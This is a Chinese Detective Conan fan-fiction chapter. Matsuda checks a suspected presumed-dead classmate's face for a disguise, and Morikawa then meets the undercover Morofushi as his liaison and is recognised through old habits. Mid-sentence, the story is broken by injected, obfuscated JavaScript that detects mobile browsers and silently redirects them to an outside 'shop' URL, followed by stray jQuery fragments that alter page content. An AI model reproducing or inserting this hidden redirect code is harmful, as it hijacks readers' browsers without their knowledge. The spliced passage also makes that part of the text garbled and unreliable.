居酒屋的暖帘在夜风里轻轻晃动，灯笼透出暖黄的柔光。


    萩原研二选的地方是米花町一条后巷深处的老店，店面不大，木格窗棂，榻榻米座席。不是他们以前常去的那家——那家承载了太多“森川和也”的痕迹——而是另一处他偶尔独自来的安静据点。


    莫尼科·海耶斯跪坐在靠里的位置，背后是绘着秋草的旧屏风。他穿着件简单的深灰针织衫，头发染深了些，戴一副平光的细框眼镜，整个人看起来清瘦而文气，像个刚回国的研究生。


    但萩原研二看着他倒茶的手势，心尖又掠过一丝熟悉的战栗。


    他倒茶时会先用茶壶嘴轻触杯沿——森川和也以前在警校宿舍泡速溶咖啡，也总用开水壶嘴碰一下杯口，说这样能防止温差炸裂。别人都说他小题大做，但他下次还是照旧。


    “莫尼科君在日本还习惯吗？”萩原把目光从那只手上移开，笑容自然熟稔，“气候、饮食之类的。”


    “还好。”莫尼科把茶壶放回托盘，“湿度比伦敦低，冬天干燥些，其他都差不多。”他顿了顿，“咖啡比英国好喝。”


    松田阵平坐在萩原旁边，没说话，但从进门起视线就没离开过对面的人。他今天没戴墨镜，那双眼睛在暖黄的灯光下显得格外锐利，像要把莫尼科的皮肉剥开，看看底下究竟藏着谁。


    “咖啡啊。”萩原研二笑着接话，“以前有个同期也这么说，说英国的咖啡是刷锅水。他喝咖啡要加糖加奶，三明治要挑掉生菜。”他拿起烤串，状若随意，“莫尼科呢？挑食吗？”


    莫尼科手里刚夹起一串鸡肉，闻言筷子在空中顿了半秒。然后他把鸡肉放进碟子里，平静地回答：“不太挑。生菜偶尔会拿掉，水分大会影响面包口感。”


    松田的瞳孔微微收缩。


    这样的事，第一次是巧合，第二次是偶然，第三次、第四次呢？


    烤鱼上桌时，莫尼科把盐烧青花鱼的鱼皮完整地剔到一边，只吃鱼肉。警校食堂的盐烧青花鱼，森川和也每次都把鱼皮挑出来，很没礼貌的堆在餐盘边角，堆成一座小山。


    添茶时，他用左手托着茶壶底部，右手握柄。森川和也右手受过伤，拿重物或精细操作时总会下意识用左手辅助。


    席间萩原说起最近的一起案件，提到某个化学试剂的名称。莫尼科接口说：“那个稳定剂现在改用第三代了，毒性比之前低。”说完他自己愣了一下，“——之前看过相关论文。”


    论文。看过。巧合。


    哪有那么多巧合？对面坐着的这个人浑身上下都是疑点。


    而莫尼科就在这片疑云的中央，安静地喝着茶，吃着烤串，对一切试探报以温和又略带困惑的微笑。


    不承认，不否认。


    像一尾滑不留手的鱼，每一次他们以为要抓住了，他又从指缝间溜走。


    酒过三巡，萩原研二去柜台加单。榻榻米上只剩松田阵平和莫尼科隔着矮桌相对而坐。


    松田没喝酒，面前那杯乌龙茶几乎没动过。他看着莫尼科慢条斯理地把最后一个烤银杏剥壳，放进嘴里，咀嚼，咽下。


    然后他开口了，声音压得很低：“你到底是谁？”


    莫尼科放下筷子，用餐巾擦了擦嘴角，抬眼看他：“莫尼科·海耶斯。日本人。二十三岁。英国留学生。”


    “你知道我问的不是这个。”


    “那我不知道该怎么回答了。”莫尼科的表情很平静，带着一点礼貌的困惑，“松田警官想问什么？”


    松田盯着他，喉咙里堵着一团火。他想质问，想拆穿，想揪着对方的领子问“森川和也你他爹到底在搞什么鬼”。但他不能。如果对方否认，他没有证据；如果对方承认，那之后呢？他不知道自己该拿一个死而复生的人怎么办。


    憋了整晚的火气终于烧到了临界点。


    “——得罪了。”


    松田阵平猛地探身越过矮桌，一手扣住莫尼科的左肩，另一只手直接摸向他的侧脸，从下颌线到颧骨再到耳后。


    “等——你干什么？！”莫尼科的声音瞬间拔高，身体本能后缩，却被松田按死在屏风前。他下意识抬手去挡，手腕在半路被松田另一只手扣住，像捕兽夹咬住猎物。


    “检查易容。”松田的声音从他头顶传来，低沉，带着点咬牙切齿的狠劲。


    “我是英国来的但不是同性恋！”莫尼科挣扎，声音里带上了真切的慌乱，“松田你放手！这是骚扰！我要报警——”


    “你报啊。”松田阵平的手顺着耳廓往后摸索，指腹用力按压发际线和下颌骨的交界处，那里是易容面皮最常见的接缝位置，“我就是警察。”


    他的指腹带着常年拆弹磨出的薄茧，划过皮肤时有种粗粝的灼热感。莫尼科被迫仰着头，脖颈拉出一道紧绷的弧线，喉结在松田的掌根下滚动了一下。


    居酒屋的灯光暖黄，从松田阵平背后打下来，在他脸上投下阴影。这个角度，莫尼科看不清他的表情，只能看见他紧抿的嘴唇和因为专注而微微蹙起的眉头。


    太近了。近到能闻见松田身上淡淡的洗衣液味道，混着一点拆过火药残留的硝烟气息。


    熟悉得像昨天。


    莫尼科停止了挣扎，安静地任由那双手在他脸上、耳后、下颌处反复摸索。他望着头顶那盏摇晃的纸灯笼，眨了眨眼。


    像是要眨干净眼中的水汽。


    松田的手在他下颌骨边缘停顿了许久。那里光滑、完整，没有任何人工贴合的痕迹。他不甘心，又顺着脖颈往下摸，指尖触到锁骨上方时——


    莫尼科猛地偏头，挣开了他的手。


    “那里没有。”他说，声音有些低。


    松田的手悬在半空。他看着莫尼科偏过去的侧脸，看着对方略微急促起伏的胸口，忽然意识到自己刚才做了什么。


    他收手，退回去，重新在榻榻米上坐正，抓起那杯已经凉透的乌龙茶灌了一大口。


    “……没易容。”他的声音硬邦邦的，像在冬天的室外冻了几个小时。


    萩原研二正好端着追加的烤串回来，看见这场面，眉毛挑了挑：“小阵平，你把人家怎么了？”


    “他摸我脸。”莫尼科指控，声音里还残留着被摁着检查时的余韵，“还摸脖子。他说要看是不是易容。”


    萩原研二放下盘子，按住松田的肩，同时向莫尼科欠身，笑容里带着歉意：“抱歉抱歉，小阵平就是这种性子，较真起来不管不顾。他不是故意的，就是太——”


    “太想确认一些事了。”松田打断他，声音闷闷的。


    莫尼科整理好衣领，把歪掉的眼镜扶正，轻轻呼出一口气。他看了松田一眼，那目光里没有愤怒，甚至没有太多被冒犯的尴尬。


    “确认完了吗？”他问。


    松田没说话。


    “确认出什么结果了吗？”


    还是沉默。


    莫尼科忽然弯起嘴角，那笑意很浅，却让他整张脸都柔和下来：“松田警官的侦查手段，比我想象中要直接。”


    “你——”松田抬眼，对上莫尼科那双在暖光下显得格外温润的眼睛，准备好的反击突然卡在喉咙里。


    “但是，”莫尼科拿起茶杯，轻轻抿了一口，眼睫低垂，“如果你真的怀疑什么……”


    说不定那就是真相呢。


    他没看松田，也没看萩原。话像是说给自己听的。


    萩原研二的目光在两人之间转了转，最终落在莫尼科平静的侧脸上。他什么也没说，只是拿起烤串，继续吃。


    松田阵平也没有再追问。


    居酒屋里人声喧闹，邻桌有人划拳，老板在后厨喊着“烧鸟七串”。暖帘被夜风掀起一角，露出外面墨蓝的天空。


    ……


    三天后，森川海坐在新宿一间廉价商住楼的临时安全屋里，面前摊着便宜上司送来的加密文件。


    【联络人，代号“绿雉”。


    任务：与卧底“苏格兰威士忌”建立联系，每周交换情报，紧急情况下提供后援。


    卧底真实身份：绝对保密。即使对联络人也不予透露。】


    森川海对着这份文件，眉头拧成了结。


    他有一种要做噩梦的感觉。


    打开系统面板，查看诸伏景光。


    状态：黑衣组织卧底中。


    代号：苏格兰威士忌。


    眼前一黑，噩梦成真了。


    苏格兰威士忌。诸伏景光。


    他不知道景光怎么会——但仔细一想，又好像本该如此。降谷零是酒，诸伏景光为什么不能是酒？两个幼驯染，一个公安，一个警视厅公安部？不，诸伏景光原本是警察厅？这些细节他记不太清了，曾经的记忆在他频繁死亡后开始变得有些模糊，像浸了水的纸。


    他只知道，现在他的任务是和景光对接。


    而诸伏景光不知道他是谁。理论上，这是两个陌生人的初次见面。


    上司出于安全考虑，不会告诉卧底联络人的真实身份，也不会告诉联络人卧底的警籍背景。各自盲联。


    森川海靠在椅背上，盯着天花板，忽然想笑。


    这算什么？命运在跟他开玩笑吗？他从警校毕业，死去，假死，换身份，被迫与所爱之人分离，然后公安直接把他派到了同期的手底下？


    他闭上眼，脑海中闪过一束沾着雨水的铃兰。


    诸伏景光还活着。活的好好的，可在组织里卧底也是每天在悬崖边行走。


    而他现在要成为景光在这条钢丝上的保险绳。


    “……行吧。”他睁开眼，声音很轻，带着点认命的笑意，“就当是中间商赚差价了。”


    一周目当布伦尼文时，他在组织底层混过两年，后来搭上琴酒的线，以搭档身份接触过不少核心任务。那些关于组织架构、行动模式、重要据点甚至部分高层代号持有者的情报，像一坛被掩埋的酒，沉默地封存在他记忆深处。


    之前这些情报无处可用。


    他虽然离开了组织，可琴酒还在。布伦尼文是真的爱过琴酒，无论是生前还是死后。


    所以他不会泄露组织的情报。


    但现在不一样了。


    ……他认识了更多人。


    越来越多人走向天平对面了……他的同期、他的幼驯染、他的父母。森川海带着沉重的愧疚走向彼岸，身后是布伦尼文黑色的倒影。


    他真的爱过琴酒，清水茶柱真的为琴酒死过。


    这件事也真的成为了过去。


    现在所有的情报有了一个完美的、不会被怀疑的传递对象。


    苏格兰威士忌需要一个情报来源。而“绿雉”恰好拥有一些“线人提供”的组织内部信息。


    完美闭环。


    他打开电脑，开始整理第一条情报——一个组织在关东地区长期使用的安全屋位置，以及与之关联的低阶外围成员名单。


    ……


    接头地点定在新宿二丁目一家名叫“夜莺”的小酒馆。


    森川海提前半小时到达，坐在吧台最靠里的位置，点了一杯苏打水。酒馆灯光昏昧，只有吧台后几排威士忌酒瓶被射灯照得晶亮，琥珀色的液体像凝固的光。


    他换了件黑色立领夹克，头发往后梳，露出额头。镜框也摘了，整张脸少了些书卷气，多了几分难以界定的疏离。


    ——更像绿雉该有的样子。


    其实世界就是一个巨大的草台班子，连他这个刚死不久的人也要被刨出来工作。


    门帘响动，有人进来了。


    森川海下意识抬头——


    然后他的呼吸漏了一拍。


    进来的人穿着深灰色风衣，帽檐压得很低。他在门口略微停顿，视线扫过店内寥寥几桌客人，然后径直走向吧台，在森川海旁边隔一个位置坐下。


    “波本十二年，加冰。”他的声音带着沙哑。


    酒保转身取酒。那个人的脸在昏暗中只有半个轮廓，但森川海不需要更多。


    他认识那道下颌线，认识那个人坐下时习惯性地先整理衣摆，认识他点酒时尾音不易察觉的上扬。


    诸伏景光。


    森川海的心脏像被人狠狠攥了一下又松开，紧接着涌上来的是近乎荒谬的想要逃避的本能。


    完了完了完了，他在这里，我得走——


    然后他反应过来。


    不对。


    诸伏景光在这里，是因为他就是苏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189145|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    格兰威士忌。他就是自己要见的卧底。


    不是撞车，不是偶遇。


    是任务。


    他是“绿雉”。景光是“苏格兰威士忌”。


    他们今天是初次见面的陌生人。


    森川海缓缓地、深深地吸了一口气，把那颗差点冲出胸腔的心脏按回去。


    酒保把威士忌放在诸伏景光面前。诸伏景光端起杯子，没有喝，只是握在掌心感受冰块的凉意。他侧过脸，目光落在森川海身上。


    那是极其专业的打量，从发型到衣着，从坐姿到放在吧台上的手。


    “绿雉？”他问。


    森川海点头：“苏格兰。”


    诸伏景光的表情没有变化，但他握着酒杯的手指微微放松了一点。他端起杯子，向森川海的方向轻轻举了举，然后抿了一小口。


    “资料上说，你是英国回来的。”他放下杯子，语气像闲聊，“伦敦？”


    “曼彻斯特。”森川海说。他的日语口音刻意调整过，比以前更平、更接近标准语，“本科曼大，硕士在UCL。”


    “学生？”


    “辍学了。现在是无业游民。”


    诸伏景光唇角微微动了一下，像是要笑，又忍住了：“公安找无业游民做联络人？”


    “可能是因为我便宜。”森川海端起苏打水，“而且命不值钱。”


    诸伏景光看了他一眼，没接话。


    沉默了几秒，森川海从内袋抽出一张折成方形的纸，沿着吧台推过去：“第一次见面，带了个见面礼。”


    诸伏景光接过，展开，扫了一眼。他的瞳孔几不可察地收缩。


    “……这个据点，”他压低声音，“我从没上报过。”


    “我的线人刚好拍到有人进出。”森川海把苏打水杯握在掌心，感受那点冰凉的触感，“外围成员的名单在背面，不过是几年前的事了，不确定他们现在的情况。可能没什么用，但可以作为切入点。”


    诸伏景光没说话。他把那张纸仔细折好，收进风衣内袋，然后抬起眼睛，再次看向森川海。


    这次的眼神不一样了。


    “曼彻斯特，”诸伏景光慢慢开口，“那所大学的研究生公寓，食堂是外包的，据说不怎么样。”


    森川海一愣：“……是吗？我没住校。”


    “你读的专业，硕士是一年制还是两年？”


    “一年。”


    “那时间很紧。”诸伏景光的声音依然平稳，像在聊家常，“论文压力大吗？”


    森川海隐约感到有什么不对。景光为什么突然问这些？他如实回答：“还好，选对导师很重要。”


    “是啊。”诸伏景光微微点头，端起威士忌，声音放得更轻，“我的一个朋友，以前也是学医的。他说医学生没有不难的。”


    森川海的手指在玻璃杯上顿住了。


    诸伏景光的目光落在他的手上，落在他为了稳住杯身而微微内扣的右手腕，落在那道即使经过修复依然隐约可见轮廓的旧伤疤上——今天他没穿长袖，夹克袖口恰好露出手腕。


    “他也喜欢吃烤青花鱼，挑掉皮。”诸伏景光说，“喝咖啡加糖。三明治会把生菜挑出来。”


    他的声音很轻，像在叙述，又像在确认。


    “他睡觉会做梦话。值班练出来的，五分钟就能睡着。”


    “他右手受过伤，拿东西会下意识用左手托底。”


    “他对生人说敬语，对着朋友也坚持称呼姓氏。”


    诸伏景光停顿了一下。酒馆里只有低回的爵士乐和偶尔的碰杯声。


    “你刚才说，”他看向森川海，紫灰色的眼睛在昏昧光线里显得格外深邃，“‘命不值钱’。”


    他顿了顿。


    “他也说过一模一样的话。有一次我们问他为什么不怕死。他说不是不怕，是觉得自己这条命本来就是捡回来的，多活一天都是赚。”


    他不再说了。


    吧台上，两杯酒静静地并排放着。一杯苏打水，一杯波本威士忌。射灯从上方打下，将琥珀色的酒液照得透亮。


    森川海坐在那里，一动不动。


    他的手指还握着那杯苏打水，指节泛白。脖颈上的旧伤疤开始隐隐发痛，像每次被触碰到记忆深处的条件反射。他垂着眼，睫毛在眼底投下一小片阴影。


    他没有看诸伏景光。


    他不知道自己该用什么表情去看。


    否认？太迟了。那些细节——有些连他自己都未曾注意的习惯——像散落的拼图，被景光一片一片拾起，在短短几分钟内拼成了完整的肖像。


    承认？他不能。苏格兰还有任务，绿雉还要继续当联络人。一旦说破，这层脆弱的关系就会崩塌，诸伏景光会用怎样的眼光看他？一个假死的人，一个欺骗所有人的人，一个从坟墓里爬出来却不敢相认的懦夫？


    他们之间隔着生死这片大火。


    “——你认错人了。”森川海最终开口，声音像砂纸磨过木板。


    诸伏景光看着他，没有反驳也没有追问，只是端起那杯威士忌，又喝了一口。冰块碰撞杯壁，发出清脆的、细微的声响。


    “是吗。”他说。


    没有失望，没有愤怒，甚至没有惊讶。只是平静地接受了这个回答，像接受一个早就注定了的结局。


    他把酒杯放回吧台，从高脚凳上起身，整理了一下风衣领口。


    “第一次情报交接很顺利。”他说，声音恢复了公事公办的平稳，“下次见面时间和地点我会提前通知你。”


    他转身，向门口走去。


    门帘掀起的瞬间，外面街道的夜风灌进来，带着初冬的寒意。


    然后他停下了。


    诸伏景光没有回头，只是微微侧过脸，声音很轻，像在自言自语：


    “……活着的每一天，都是赚的。”


    “别再轻易把它花掉了。”


    门帘落下，他的背影消失在夜色里。


    森川海还坐在吧台前，握着那杯早已不再冒气泡的苏打水。


    酒保问他：“先生，还要续杯吗？”


    他摇了摇头。


    ……


    他一个人坐了很久。